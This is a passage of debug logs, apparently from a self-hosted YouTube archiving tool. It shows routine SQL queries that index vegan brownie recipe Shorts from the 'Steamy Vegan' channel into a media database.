s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:55.028 [debug] QUERY OK source="media_items" db=2.0ms idle=3.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-26 00:34:02Z], 1] 20:28:55.031 [debug] QUERY OK source="media_items" db=1.8ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I have food tested these for the past 2 weeks trying to create the perfect brownie recipe and I've done it!!! These were so delicious, the perfect chewyness, and packed full of protein. You've gotta try making these vegan and gluten free brownies for yourself below:\n\nFull recipe video: https://youtu.be/CaX3rd60OUk\n\nDon't forget to subscribe for more daily content and weekly vegan and gluten free recipe videos! Thanks for all your support! Janelle", "These Brownies Always Get Me Drooling", "46f39b3d-12da-4d50-8397-a4a24cd1e72c", 1, [], 14, false, "zmZnqJ_mZKE", "https://www.youtube.com/shorts/zmZnqJ_mZKE", 351, "/downloads/downloads/alec/Steamy Vegan/2022-06-26 These Brownies Always Get Me Drooling/These Brownies Always Get Me Drooling [zmZnqJ_mZKE].NA", false, false, true, 0, ~U[2022-06-26 00:34:02Z], ~U[2026-03-22 03:28:55Z], ~U[2026-03-22 03:28:55Z], "I have food tested these for the past 2 weeks trying to create the perfect brownie recipe and I've done it!!! These were so delicious, the perfect chewyness, and packed full of protein. You've gotta try making these vegan and gluten free brownies for yourself below:\n\nFull recipe video: https://youtu.be/CaX3rd60OUk\n\nDon't forget to subscribe for more daily content and weekly vegan and gluten free recipe videos! Thanks for all your support! Janelle", "These Brownies Always Get Me Drooling", 1, 14, false, "zmZnqJ_mZKE", "https://www.youtube.com/shorts/zmZnqJ_mZKE", "/downloads/downloads/alec/Steamy Vegan/2022-06-26 These Brownies Always Get Me Drooling/These Brownies Always Get Me Drooling [zmZnqJ_mZKE].NA", true, ~U[2022-06-26 00:34:02Z]] 20:28:55.031 [debug] QUERY OK source="sources" db=0.3ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:55.032 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:55.032 [debug] QUERY OK source="media_items" db=0.4ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [740] 20:28:55.032 [debug] Current batch of media processed. Will check again in 1000ms 20:28:56.033 [debug] Current batch of media processed. Will check again in 1000ms 20:28:57.034 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-25 Vegan and Gluten Free Has Never Been More Delicious!/Vegan and Gluten Free Has Never Been More Delicious! [_WmXCbSqFJA].NA", "id" => "_WmXCbSqFJA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/_WmXCbSqFJA", "playlist_index" => 352, "timestamp" => 1656172563, "title" => "Vegan and Gluten Free Has Never Been More Delicious!", "upload_date" => "20220625"} 20:28:57.035 [debug] QUERY OK source="sources" db=0.5ms idle=638.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:57.036 [debug] QUERY OK source="sources" db=0.6ms idle=452.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:57.038 [debug] QUERY OK source="media_items" db=1.8ms idle=453.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-25 15:56:03Z], 1] 20:28:57.039 [debug] QUERY OK source="media_items" db=0.7ms idle=455.3ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Vegan and Gluten Free Has Never Been More Delicious!", "6af2a1b1-83d7-478f-bc62-ba376861c54d", 1, [], 11, false, "_WmXCbSqFJA", "https://www.youtube.com/shorts/_WmXCbSqFJA", 352, "/downloads/downloads/alec/Steamy Vegan/2022-06-25 Vegan and Gluten Free Has Never Been More Delicious!/Vegan and Gluten Free Has Never Been More Delicious! [_WmXCbSqFJA].NA", false, false, true, 1, ~U[2022-06-25 15:56:03Z], ~U[2026-03-22 03:28:57Z], ~U[2026-03-22 03:28:57Z], "", "Vegan and Gluten Free Has Never Been More Delicious!", 1, 11, false, "_WmXCbSqFJA", "https://www.youtube.com/shorts/_WmXCbSqFJA", "/downloads/downloads/alec/Steamy Vegan/2022-06-25 Vegan and Gluten Free Has Never Been More Delicious!/Vegan and Gluten Free Has Never Been More Delicious! [_WmXCbSqFJA].NA", true, ~U[2022-06-25 15:56:03Z]] 20:28:57.040 [debug] QUERY OK source="sources" db=0.3ms idle=456.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:57.040 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:57.041 [debug] QUERY OK source="media_items" db=0.6ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [741] 20:28:57.041 [debug] Current batch of media processed. Will check again in 1000ms 20:28:58.042 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Forget about your diet and make some brownies already!!! I made these brownies vegan, gluten free, and high in protein and they turned out unreal.\n\nCheck out the full recipe video here: https://youtu.be/CaX3rd60OUk\n\nDon't forget to subscribe for more daily content about eating a vegan and gluten free diet! Thanks for all your support! Janelle", "duration" => 10, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-24 Screw Diets, Brownies Are Forever/Screw Diets, Brownies Are Forever [1UH_HB7BlVw].NA", "id" => "1UH_HB7BlVw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/1UH_HB7BlVw", "playlist_index" => 353, "timestamp" => 1656079201, "title" => "Screw Diets, Brownies Are Forever", "upload_date" => "20220624"} 20:28:58.043 [debug] QUERY OK source="sources" db=0.4ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:58.043 [debug] QUERY OK source="sources" db=0.3ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:58.045 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=1003.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-24 14:00:01Z], 1] 20:28:58.048 [debug] QUERY OK source="media_items" db=2.2ms idle=1004.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Forget about your diet and make some brownies already!!! I made these brownies vegan, gluten free, and high in protein and they turned out unreal.\n\nCheck out the full recipe video here: https://youtu.be/CaX3rd60OUk\n\nDon't forget to subscribe for more daily content about eating a vegan and gluten free diet! Thanks for all your support! Janelle", "Screw Diets, Brownies Are Forever", "baaaf23a-379c-44bc-9802-ea0b92fd5c93", 1, [], 10, false, "1UH_HB7BlVw", "https://www.youtube.com/shorts/1UH_HB7BlVw", 353, "/downloads/downloads/alec/Steamy Vegan/2022-06-24 Screw Diets, Brownies Are Forever/Screw Diets, Brownies Are Forever [1UH_HB7BlVw].NA", false, false, true, 0, ~U[2022-06-24 14:00:01Z], ~U[2026-03-22 03:28:58Z], ~U[2026-03-22 03:28:58Z], "Forget about your diet and make some brownies already!!! I made these brownies vegan, gluten free, and high in protein and they turned out unreal.\n\nCheck out the full recipe video here: https://youtu.be/CaX3rd60OUk\n\nDon't forget to subscribe for more daily content about eating a vegan and gluten free diet! Thanks for all your support! Janelle", "Screw Diets, Brownies Are Forever", 1, 10, false, "1UH_HB7BlVw", "https://www.youtube.com/shorts/1UH_HB7BlVw", "/downloads/downloads/alec/Steamy Vegan/2022-06-24 Screw Diets, Brownies Are Forever/Screw Diets, Brownies Are Forever [1UH_HB7BlVw].NA", true, ~U[2022-06-24 14:00:01Z]] 20:28:58.049 [debug] QUERY OK source="sources" db=0.5ms idle=651.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:58.049 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:58.050 [debug] QUERY OK source="media_items" db=0.5ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [742] 20:28:58.050 [debug] Current batch of media processed. Will check again in 1000ms 20:28:59.051 [debug] Current batch of media processed. Will check again in 1000ms 20:29:00.052 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I've had a ton of fun this past week experimenting with vegan and gluten free brownies and I've cracked the baking code to make the perfect brownies. \n\nI've filmed a full recipe video on these that you won't want to miss. Make sure to subscribe so you don't miss this video, it's gooooooooood!!!!!\n\nRecipe Video: https://youtu.be/CaX3rd60OUk", "duration" => 12, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-23 Pure Brownie Magic. The Most Epic Brownies I've Ever Made/Pure Brownie Magic. The Most Epic Brownies I've Ever Made [O9SaR_rP6aw].NA", "id" => "O9SaR_rP6aw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/O9SaR_rP6aw", "playlist_index" => 354, "timestamp" => 1656012602, "title" => "Pure Brownie Magic. The Most Epic Brownies I've Ever Made", "upload_date" => "20220623"} 20:29:00.053 [debug] QUERY OK source="sources" db=1.0ms idle=651.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:00.054 [debug] QUERY OK source="sources" db=0.2ms idle=470.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:00.057 [debug] QUERY OK source="media_items" db=2.2ms idle=471.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-23 19:30:02Z], 1] 20:29:00.058 [debug] QUERY OK source="media_items" db=0.7ms idle=474.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I've had a ton of fun this past week experimenting with vegan and gluten free brownies and I've cracked the baking code to make the perfect brownies. \n\nI've filmed a full recipe video on these that you won't want to miss. Make sure to subscribe so you don't miss this video, it's gooooooooood!!!!!\n\nRecipe Video: https://youtu.be/CaX3rd60OUk", "Pure Brownie Magic. The Most Epic Brownies I've Ever Made", "4b528226-43a0-4e54-a0c7-e31bd18c3776", 1, [], 12, false, "O9SaR_rP6aw", "https://www.youtube.com/shorts/O9SaR_rP6aw", 354, "/downloads/downloads/alec/Steamy Vegan/2022-06-23 Pure Brownie Magic. The Most Epic Brownies I've Ever Made/Pure Brownie Magic. The Most Epic Brownies I've Ever Made [O9SaR_rP6aw].NA", false, false, true, 0, ~U[2022-06-23 19:30:02Z], ~U[2026-03-22 03:29:00Z], ~U[2026-03-22 03:29:00Z], "I've had a ton of fun this past week experimenting with vegan and gluten free brownies and I've cracked the baking code to make the perfect brownies. \n\nI've filmed a full recipe video on these that you won't want to miss. Make sure to subscribe so you don't miss this video, it's gooooooooood!!!!!\n\nRecipe Video: https://youtu.be/CaX3rd60OUk", "Pure Brownie Magic. The Most Epic Brownies I've Ever Made", 1, 12, false, "O9SaR_rP6aw", "https://www.youtube.com/shorts/O9SaR_rP6aw", "/downloads/downloads/alec/Steamy Vegan/2022-06-23 Pure Brownie Magic. The Most Epic Brownies I've Ever Made/Pure Brownie Magic. The Most Epic Brownies I've Ever Made [O9SaR_rP6aw].NA", true, ~U[2022-06-23 19:30:02Z]] 20:29:00.059 [debug] QUERY OK source="sources" db=0.7ms idle=475.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:00.060 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:00.060 [debug] QUERY OK source="media_items" db=0.5ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [743] 20:29:00.061 [debug] Current batch of media processed. Will check again in 1000ms 20:29:00.438 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:29:01.062 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I’ve been recipe testing these fudgey protein brownies this week and all I can say is…. DAYUM! 🤤 Vegan, gluten-free and soooo yummy. The full recipe video is now live on my YouTube channel so make sure to subscribe to see it or click the link below...\n\nFull recipe video: https://youtu.be/CaX3rd60OUk\n\nSUBSCRIBE TO MY CHANNEL FOR MORE DELICIOUS VEGAN RECIPES! #SteamyVeganKitchen", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-23 Protein Packed Brownies Recipe 🤤 Vegan + gluten-free #shorts/Protein Packed Brownies Recipe 🤤 Vegan + gluten-free #shorts [WHzBVRduS-k].NA", "id" => "WHzBVRduS-k", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/WHzBVRduS-k", "playlist_index" => 355, "timestamp" => 1656001072, "title" => "Protein Packed Brownies Recipe 🤤 Vegan + gluten-free #shorts", "upload_date" => "20220623"} 20:29:01.065 [debug] QUERY OK source="sources" db=0.9ms queue=1.0ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:01.066 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1005.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:01.068 [debug] QUERY OK source="media_items" db=2.6ms idle=1005.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-23 16:17:52Z], 1] 20:29:01.070 [debug] QUERY OK source="media_items" db=1.0ms idle=666.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, 